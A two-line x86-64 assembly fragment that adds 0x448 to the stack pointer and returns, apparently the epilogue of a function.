add rsp, 0x448
ret